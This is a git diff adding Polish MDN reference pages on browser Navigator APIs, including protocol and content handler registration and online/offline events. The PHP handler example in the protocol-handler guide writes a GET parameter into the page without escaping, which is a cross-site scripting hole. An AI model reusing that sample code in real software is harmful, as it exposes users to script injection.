Gecko + - Wszystkie_kategorie +translation_of: Web/API/Navigator/productSub +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>productSub</b> zwraca numer kompilacji bieżącej przeglądarki.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>prodSub</i> = window.navigator.productSub +</pre> + +<h3 id="Parameters" name="Parameters">Parameters</h3> + +<ul> + <li><code>prodSub</code> jest łańcuchem znaków.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre><script> +function prodsub() { + dt = document.getElementById("d").childNodes[0]; + dt.data = window.navigator.productSub; +} +</script> +<button onclick="prodsub();">productSub</button> +// zwraca: 20010725 +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>W IE własność ta zwraca wartość nieokreśloną.</p> + +<p>W Apple Safari własność zawsze zwraca <code>20030107</code>.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.productSub", "ja": "ja/DOM/window.navigator.productSub" } ) }}</p> diff --git a/files/pl/web/api/navigator/registercontenthandler/index.html b/files/pl/web/api/navigator/registercontenthandler/index.html new file mode 100644 index 0000000000..58f6f5dd39 --- /dev/null +++ b/files/pl/web/api/navigator/registercontenthandler/index.html @@ -0,0 +1,49 @@ +--- +title: Navigator.registerContentHandler +slug: Web/API/Navigator/registerContentHandler +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Navigator/registerContentHandler +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Pozwala stronom na zarejestrowanie się jako możliwe serwisy obsługujące zawartości konkretnego typu MIME.</p> + +<p>{{ Note("Strony internetowe mogą zarejestrować tylko siebie jako serwisy obsługujące zawartość. Ze względów bezpieczeństwa nie jest możliwe, aby rozszerzenie lub strona internetowa zarejestrowały inną stronę do obsługi zawartości.") }}</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">window.navigator.registerContentHandler(<i>mimeType</i>, +<i>uri</i>, +<i>title</i>); +</pre> + +<ul> + <li><code>mimeType</code> jest żądanym typem MIME zapisanym jako łańcuch znaków.</li> + <li><code>uri</code> jest adresem URI uchwytu, zapisanym jako łańcuch znaków.</li> + <li><code>title</code> jest tytułem uchwytu, przedstawionym użytkownikowi jako łańcuch znaków.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">navigator.registerContentHandler("application/vnd.mozilla.maybe.feed", + "<span class="nowiki">http://www.przyklad.tld/?foo=%s</span>", + "Mój Czytnik Kanałów"); +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>W <a href="pl/Firefox_2">Firefoksie 2</a> obsługiwane są tylko typy MIME <code>application/vnd.mozilla.maybe.feed</code>, <code>application/atom+xml</code> oraz <code>application/rss+xml</code>. Wszystkie wartości mają ten sam efekt, a zarejestrowane strony obsługujące otrzymają kanały we wszystkich wersjach Atom i RSS.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>Określona przez <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">szkic roboczy Web Applications 1.0</a> organizacji WHATWG.</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.registerContentHandler", "ja": "ja/DOM/window.navigator.registerContentHandler" } ) }}</p> diff --git a/files/pl/web/api/navigator/registerprotocolhandler/index.html b/files/pl/web/api/navigator/registerprotocolhandler/index.html new file mode 100644 index 0000000000..b5b040b91d --- /dev/null +++ b/files/pl/web/api/navigator/registerprotocolhandler/index.html @@ -0,0 +1,66 @@ +--- +title: Navigator.registerProtocolHandler +slug: Web/API/Navigator/registerProtocolHandler +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Firefox 3 + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Navigator/registerProtocolHandler +--- +<p>{{ ApiRef() }} {{ Fx_minversion_header(3) }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Umożliwia zarejestrowanie witryny internetowej jako mechanizmu obsługi danego protokołu.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">window.navigator.registerProtocolHandler(<i>protokół</i>, +<i>uri</i>, +<i>nazwa</i>); +</pre> + +<ul> + <li><code>protokół</code> to protokół, który dana witryna ma obsługiwać, określony jako łańcuch znaków.</li> + <li><code>uri</code> to identyfikator URI witryny, określony jako łańcuch znaków. Możliwe jest użycie zmiennej "%s" w celu określenia, w którym miejscu powinien zostać wstawiony identyfikator URI obsługiwanego dokumentu (znaki specjalne w ciągu identyfikatora muszą być zamienione na sekwencje sterujące — + <i>escape sequences</i> + ).</li> + <li><code>nazwa</code> to nazwa funkcji obsługi wyświetlana użytkownikowi, określona jako łańcuch znaków.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<p>Poniżej podano sposób rejestracji mechanizmu obsługi protokołu + <i>mailto</i> + przez przykładową aplikację internetową znajdującą się pod adresem <span class="nowiki">http://www.example.com</span>:</p> + +<pre class="eval">navigator.registerProtocolHandler("mailto", + "<a class="link-https" href="https://www.example.com/?uri=%s" rel="freelink">https://www.example.com/?uri=%s</a>", + "Poczta internetowa"); +</pre> + +<p>W powyższym kodzie tworzona jest funkcja obsługi odnośników + <i>mailto</i> + , która powoduje przejście do przykładowej strony. Adres e-mail określony w odnośniku jest wstawiany do adresu URL.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>Określone w specyfikacji WHATWG <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">Web Applications 1.0, wersja robocza</a>.</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<ul> + <li><a href="pl/Obs%c5%82ugi_protoko%c5%82%c3%b3w_przez_aplikacje_WWW">Obsługi protokołów przez aplikacje WWW</a></li> +</ul> + +<p> </p> + +<p> </p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.registerProtocolHandler", "es": "es/DOM/window.navigator.registerProtocolHandler", "fr": "fr/DOM/window.navigator.registerProtocolHandler", "ja": "ja/DOM/window.navigator.registerProtocolHandler", "ko": "ko/DOM/window.navigator.registerProtocolHandler" } ) }}</p> diff --git a/files/pl/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html b/files/pl/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html new file mode 100644 index 0000000000..2a9863088c --- /dev/null +++ b/files/pl/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html @@ -0,0 +1,107 @@ +--- +title: Obsługa protokołów przez aplikacje WWW +slug: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers +translation_of: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers +--- +<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> {{ Fx_minversion_header(3) }} +</p> +<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3> +<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> +Często na stronach internetowych znaleźć można odnośniki do zasobów korzystających z protokołów innych niż <code>http</code>. Przykładem jednego z nich jest protokół <code>mailto</code>: +</p> +<pre><a href="mailto:webmaster@example.com">Napisz do webmastera</a> +</pre> +<p>Twórcy witryn internetowych używają odnośników <code>mailto:</code>, kiedy chcą zapewnić użytkownikom wygodny sposób na wysłanie wiadomości e-mail z poziomu strony WWW. Kiedy użytkownik aktywuje odnośnik, przeglądarka zwykle uruchamia domyślny program pocztowy określony w ustawieniach systemu operacyjnego. Można to określić jako <i>desktopowy</i> sposób obsługi protokołów. +</p><p>Aplikacje WWW również mogą zapewnić obsługę takich protokołów. Od kiedy coraz więcej rodzajów aplikacji przenoszonych jest do środowiska WWW, potrzeba takiej integracji jest coraz bardziej wyraźna. W istocie, istnieje szereg aplikacji WWW do obsługi poczty elektronicznej, które mogłyby przetwarzać odnośniki <code>mailto</code>. +</p> +<h3 id="Rejestracja" name="Rejestracja">Rejestracja</h3> +<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> +</p><p>Ustawienie aplikacji jako mechanizmu obsługującego protokół nie jest skomplikowane. W zasadzie wystarczy, by witryna skorzystała z metody <code><a href="pl/DOM/window.navigator.registerProtocolHandler">registerProtocolHandler()</a></code>, by zarejestrować się w przeglądarce jako potencjalny mechanizm obsługi danego protokołu. Na przykład: +</p> +<pre>navigator.registerProtocolHandler("mailto", + "https://www.example.com/?uri=%s", + "Przykładowa poczta"); +</pre> +<p>gdzie parametrami są: +</p> +<ul><li> protokół (uwaga, bez dwukropka - przyp. tłum.); +</li><li> szablon adresu URL mechanizmu obsługi protokołu. Znaki "%s" zostaną zastąpione pełną zawartością atrybutu <code>href</code> odnośnika; tak powstały adres URL wywołany zostanie metodą GET; +</li><li> przyjazna dla użytkownika nazwa mechanizmu obsługi protokołu +</li></ul> +<p>Przeglądarka wykonując tę metodę wyświetli okno, w którym użytkownik będzie mógł wyrazić zgodę na zarejestrowanie aplikacji WWW jako mechanizmu obsługi protokołu. Firefox wyświetla następujące pytanie w obszarze powiadomień: +</p><p><img alt="Image:wph-notification.png"> +</p><p>{{ Note() }} +</p> +<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4> +<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> +</p> +<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> +<html lang="pl"> +<head> + <title>Przykład rejestracji obsługi protokołów</title> + <script type="text/javascript"> + navigator.registerProtocolHandler("fikcyjny", "http://starkravingfinkle.org/projects/wph/handler.php?value=%s", "Fikcyjny protokół"); + </script> +</head> +<body> + <h1>Przykład rejestracji obsługi protokołów</h1> + <p>Strona ta zainstaluje mechanizm obsługi protokołów dla protokołu <code>fikcyjny:</code>.</p> +</body> +</html> +</pre> +<h3 id="Aktywacja" name="Aktywacja">Aktywacja</h3> +<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> +Od tej pory kiedykolwiek użytkownik aktywuje odnośnik do zasobu o zarejestrowanym protokole, przeglądarka przekieruje żądanie do adresu URL dostarczonego podczas rejestracji. Firefox domyślnie poprosi uprzednio użytkownika o potwierdzenie tej czynności. +</p><p><img alt="Image:wph-launch.png"> +</p> +<h4 id="Przyk.C5.82ad_2" name="Przyk.C5.82ad_2">Przykład</h4> +<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> +</p> +<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> +<html lang="pl"> +<head> + <title>Test obsługi protokołów</title> +</head> +<body> + <p>Widzieliście już kiedyś <a href="fikcyjny:to%20nie%20istnieje">coś takiego</a>?</p> +</body> +</html> +</pre> +<h3 id="Obs.C5.82uga_protoko.C5.82u" name="Obs.C5.82uga_protoko.C5.82u">Obsługa protokołu</h3> +<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> +Kolejnym etapem jest obsłużenie żądania. Przeglądarka pobiera atrybut <code>href</code> odnośnika, łączy go z szablonem adresów URL podanym podczas rejestracji mechanizmu obsługi i wysyła do serwera żądanie HTTP GET z wynikowym adresem. Dla powyższego przykładu przeglądarka wyśle żądanie GET o następującym adresie: +</p> +<pre>http://starkravingfinkle.org/projects/wph/handler.php?value=fikcyjny:to%20nie%20istnieje +</pre> +<p>Po stronie serwera można odebrać przekazany adres URL i wykonać żądane akcje. +</p><p>{{ Note("Kod po stronie serwera dostanie <b>całą</b> zawartość atrybutu <code>href</code>. Oznacza to, że serwer będzie musiał podczas przetworzyć otrzymany adres URL i oddzielić protokół od danych.") }} +</p> +<h4 id="Przyk.C5.82ad_3" name="Przyk.C5.82ad_3">Przykład</h4> +<p><span class="comment">UWAGA: PROSZE NIE UZYWAC EDYTOWANIA FRAGMENTOW, PSUJE ONO TRESC ARTYKULU</span> +</p> +<pre><?php +$value = ""; +if ( isset ( $_GET["value"] ) ) { + $value = $_GET["value"]; +} +?> + +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> +<html lang="pl"> +<head> + <title>Obsługa protokołów - przykład</title> +</head> +<body> + <h1>Obsługa protokołów - przykład</h1> + <p>Strona ta otwierana jest po aktywowaniu odnośnika do zasobu o protokole <code>fikcyjny:</code>. Otrzymane dane:</p> + <textarea> +<?php echo(urldecode($value)) ?> + </textarea> +</body> +</html> +</pre> +<p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Web-based_protocol_handlers", "fr": "fr/Gestionnaires_de_protocoles_web", "ja": "ja/Web-based_protocol_handlers" } ) }} diff --git a/files/pl/web/api/navigatorlanguage/index.html b/files/pl/web/api/navigatorlanguage/index.html new file mode 100644 index 0000000000..7d6b0751e7 --- /dev/null +++ b/files/pl/web/api/navigatorlanguage/index.html @@ -0,0 +1,148 @@ +--- +title: NavigatorLanguage +slug: Web/API/NavigatorLanguage +tags: + - API + - HTML-DOM + - NeedsTranslation + - No Interface + - Reference + - TopicStub +translation_of: Web/API/NavigatorLanguage +--- +<p>{{APIRef("HTML DOM")}}</p> + +<p><code><strong>NavigatorLanguage</strong></code> contains methods and properties related to the language of the navigator.</p> + +<p>There is no object of type <code>NavigatorLanguage</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p> + +<h2 id="Properties">Properties</h2> + +<p><em>The <code>NavigatorLanguage</code></em><em> interface doesn't inherit any property.</em></p> + +<dl> + <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd> + <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt> + <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>The </em><em><code>NavigatorLanguage</code></em><em> interface neither implements, nor inherit any method.</em></p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Since the {{SpecName('HTML5 W3C')}} snapshot, the <code>languages</code> property has been added.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Initial specification; snapshot of an early version{{SpecName('HTML WHATWG')}}.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>languages</code></td> + <td>37</td> + <td>{{CompatGeckoDesktop("32")}}</td> + <td>{{CompatNo}}</td> + <td>24</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>on {{domxref("WorkerNavigator")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("35")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>languages</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}} </td> + <td>{{CompatGeckoMobile("32")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>on {{domxref("WorkerNavigator")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("35")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The {{domxref("Navigator")}} interface that implements it.</li> +</ul> diff --git a/files/pl/web/api/navigatoronline/index.html b/files/pl/web/api/navigatoronline/index.html new file mode 100644 index 0000000000..11f6707c43 --- /dev/null +++ b/files/pl/web/api/navigatoronline/index.html @@ -0,0 +1,127 @@ +--- +title: NavigatorOnLine +slug: Web/API/NavigatorOnLine +tags: + - API + - HTML-DOM + - NeedsTranslation + - TopicStub +translation_of: Web/API/NavigatorOnLine +--- +<p>{{APIRef("HTML DOM")}}</p> + +<p>The <code><strong>NavigatorOnLine</strong></code> interface contains methods and properties related to the connectivity status of the browser.</p> + +<p>There is no object of type <code>NavigatorOnLine</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p> + +<h2 id="Properties">Properties</h2> + +<p><em>The <code>NavigatorOnLine</code></em><em> interface doesn't inherit any property.</em></p> + +<dl> + <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>The </em><em><code>NavigatorOnLine</code></em><em> interface neither implements, nor inherit any method.</em></p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change from the latest snapshot, {{SpecName('HTML5 W3C')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>on {{domxref("WorkerNavigator")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop(29)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>on {{domxref("WorkerNavigator")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(29)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The {{domxref("Navigator")}} interface that implements it.</li> +</ul> diff --git a/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html b/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html new file mode 100644 index 0000000000..d286acc4b0 --- /dev/null +++ b/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html @@ -0,0 +1,84 @@ +--- +title: Zdarzenia online i offline +slug: Web/API/NavigatorOnLine/Zdarzenia_online_i_offline +tags: + - AJAX + - DOM + - Programowanie_WWW + - Wszystkie_kategorie +translation_of: Web/API/NavigatorOnLine/Online_and_offline_events +--- +<p>{{ Fx_minversion_header(3) }} W programie <a href="pl/Firefox_3_dla_programist%c3%b3w">Firefox 3</a> zaimplementowano obsługę <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">zdarzeń online i offline</a> zdefiniowanych w <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">specyfikacji WHATWG Web Applications 1.0</a>. +</p> +<h3 id="Om.C3.B3wienie" name="Om.C3.B3wienie"> Omówienie </h3> +<p>Do stworzenia dobrej aplikacji internetowej działającej w trybie offline konieczne jest istnienie sposobu na sprawdzenie, kiedy aplikacja faktycznie znajduje się w trybie offline. W niektórych przypadkach potrzebna jest także możliwość stwierdzenia, czy aplikacja powróciła do stanu „online”. W praktyce sprowadza się to do dwóch wymagań: +</p> +<ol><li> Konieczne jest stwierdzenie, kiedy użytkownik przełącza przeglądarkę w tryb online, aby można było przeprowadzić ponowną synchronizację z serwerem. </li><li> Konieczne jest stwierdzenie, kiedy użytkownik przełącza przeglądarkę w tryb offline, aby można było odłożyć wysłanie żądania do serwera na później. </li></ol> +<p>Zdarzenia online i offline pozwalają na uproszczenie powyższych procedur. </p><p>W aplikacji internetowej może także być konieczne wymuszenie przechowywania określonych dokumentów w pamięci podręcznej zasobów offline. W tym celu w kodzie sekcji <code>HEAD</code> należy wstawić znacznik <code>LINK</code> przedstawiony poniżej: +</p> +<pre class="eval"><span class="nowiki"><link rel="offline-resource" href="mój_zasób"></span> +</pre> +<p>Przy przetwarzaniu kodu HTML przez program Firefox w wersji 3 lub nowszej dokumenty wymienione w znaczniku zostaną zapisane w specjalnej pamięci podręcznej zasobów offline. +</p> +<h3 id="Interfejs_API" name="Interfejs_API"> Interfejs API </h3> +<h4 id="navigator.onLine" name="navigator.onLine"> <code>navigator.onLine</code> </h4> +<p><code><a href="pl/DOM/window.navigator.onLine">navigator.onLine</a></code> to własność, która zwraca wartość <code>true</code> lub <code>false</code> (<code>true</code> dla trybu online, <code>false</code> dla trybu offline). Własność ta jest aktualizowana za każdym razem, gdy użytkownik przełącza przeglądarkę w tryb offline, wybierając odpowiednie polecenie menu (w programie Firefox: Plik -> Pracuj w trybie offline). +</p><p>Ponadto ta własność powinna być aktualizowana zawsze, gdy w przeglądarce nie można nawiązać połączenia z siecią. Zgodnie ze specyfikacją: +</p> +<blockquote> +Atrybut <code>navigator.onLine</code> musi zwracać wartość false, jeżeli w programie po kliknięciu odsyłacza przez użytkownika lub po wysłaniu przez skrypt żądania do zdalnej witryny nie można połączyć się z siecią (lub wiadomo, że taka próba nie powiedzie się)... +</blockquote> +<p>W programie Firefox 2 ta własność jest aktualizowana przy przełączaniu przeglądarki między trybami online i offline oraz przy utracie lub ponownym nawiązaniu połączenia z siecią (dotyczy systemów Windows i Linux). +</p><p>Własność istnieje w starszych wersjach przeglądarek Firefox i Internet Explorer (obecna specyfikacja została oparta na tych właśnie wcześniejszych implementacjach), można zatem korzystać z niej już teraz. Automatyczne wykrywanie stanu połączenia sieciowego zostało wprowadzone w programie Firefox 2. </p> +<h4 id="Zdarzenia_.22online.22_i_.22offline.22" name="Zdarzenia_.22online.22_i_.22offline.22"> Zdarzenia "<code>online</code>" i "<code>offline</code>" </h4> +<p>W programie <a href="pl/Firefox_3">Firefox 3</a> wprowadzono dwa nowe zdarzenia: "<code>online</code>" i "<code>offline</code>". Są one wywoływane w elemencie <code><body></code> każdej otwartej strony, gdy przeglądarka jest przełączana między trybem online i offline. Ponadto zdarzenie bąbelkuje od elementu <code>document.body</code>, poprzez element <code>document</code>, aż do elementu <code>window</code>. Żadnego ze zdarzeń nie można anulować (niemożliwe jest zablokowanie możliwości przełączania przeglądarki między trybami online i offline). +</p><p>Obserwatory (ang. <i>event listeners</i>) tych zdarzeń można zarejestrować na kilka sposobów: +</p> +<ul><li> przy użyciu metody <code><a href="pl/DOM/element.addEventListener">addEventListener</a></code> dla elementu <code>window</code>, <code>document</code> lub <code>document.body</code>; +</li><li> za pomocą własności <code>.ononline</code> lub <code>.onoffline</code> dla elementu <code>document</code> lub <code>document.body</code> przez przypisanie do niej obiektu <code>Function</code> języka JavaScript. (<b>Uwaga:</b> własności <code>window.ononline</code> i <code>window.onoffline</code> nie działają ze względu na zgodność z poprzednimi wersjami); +</li><li> przez ustawienie atrybutów <code>ononline="..."</code> lub <code>onoffline="..."</code> znacznika <code><body></code> w kodzie HTML. +</li></ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<p>Dostępny jest <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">prosty przykład zastosowania</a>, który pozwala na sprawdzenie działania zdarzeń. +<span class="comment">XXX When mochitests for this are created, point to those instead and update this example -nickolay</span> +</p> +<pre class="eval"> <!doctype html> + <html> + <head> + <script> + function updateOnlineStatus(msg) { + var status = document.getElementById("status"); + var condition = navigator.onLine ? "ONLINE" : "OFFLINE"; + status.setAttribute("class", condition); + var state = document.getElementById("state"); + state.innerHTML = condition; + var log = document.getElementById("log"); + log.appendChild(document.createTextNode("Zdarzenie: " + msg + "; stan=" + condition + "\n")); + } + function loaded() { + updateOnlineStatus("load"); + document.body.addEventListener("offline", function () { + updateOnlineStatus("offline") + }, false); + document.body.addEventListener("online", function () { + updateOnlineStatus("online") + }, false); + } + </script> + <style>...</style> + </head> + <body onload="loaded()"> + <div id="status"><p id="state"></p></div> + <div id="log"></div> + </body> + </html> +</pre> +<h3 id="Odsy.C5.82acze" name="Odsy.C5.82acze"> Odsyłacze </h3> +<ul><li> <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">Sekcja „Zdarzenia online i offline” w specyfikacji WHATWG Web Applications 1.0</a> +</li><li> <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">Opis błędu dotyczącego implementacji zdarzeń online i offline w programie Firefox</a> oraz <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">kontynuacja dyskusji</a> +</li><li> <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">Prosty przykład zastosowania</a> +</li><li> <a class="external" href="http://ejohn.org/blog/offline-events/">Objaśnienie zdarzeń online i offline</a> +</li></ul> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pt": "pt/Eventos_online_e_offline" } ) }} diff --git a/files/pl/web/api/navigatorplugins/index.html b/files/pl/web/api/navigatorplugins/index.html new file mode 100644 index 0000000000..c009a19a07 --- /dev/null +++ b/files/pl/web/api/navigatorplugins/index.html @@ -0,0 +1,111 @@ +--- +title: NavigatorPlugins +slug: Web/API/NavigatorPlugins +tags: + - API + - Experimental + - HTML-DOM + - NeedsTranslation + - TopicStub +translation_of: Web/API/NavigatorPlugins +--- +<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p> + +<p>The <code><strong>NavigatorPlugins</strong></code> interface contains methods and properties related to the plugins installed in the browser.</p> + +<p>There is no object of type <code>NavigatorPlugins</code>, but other interfaces, like {{domxref("Navigator")}}, implement it.</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd> + 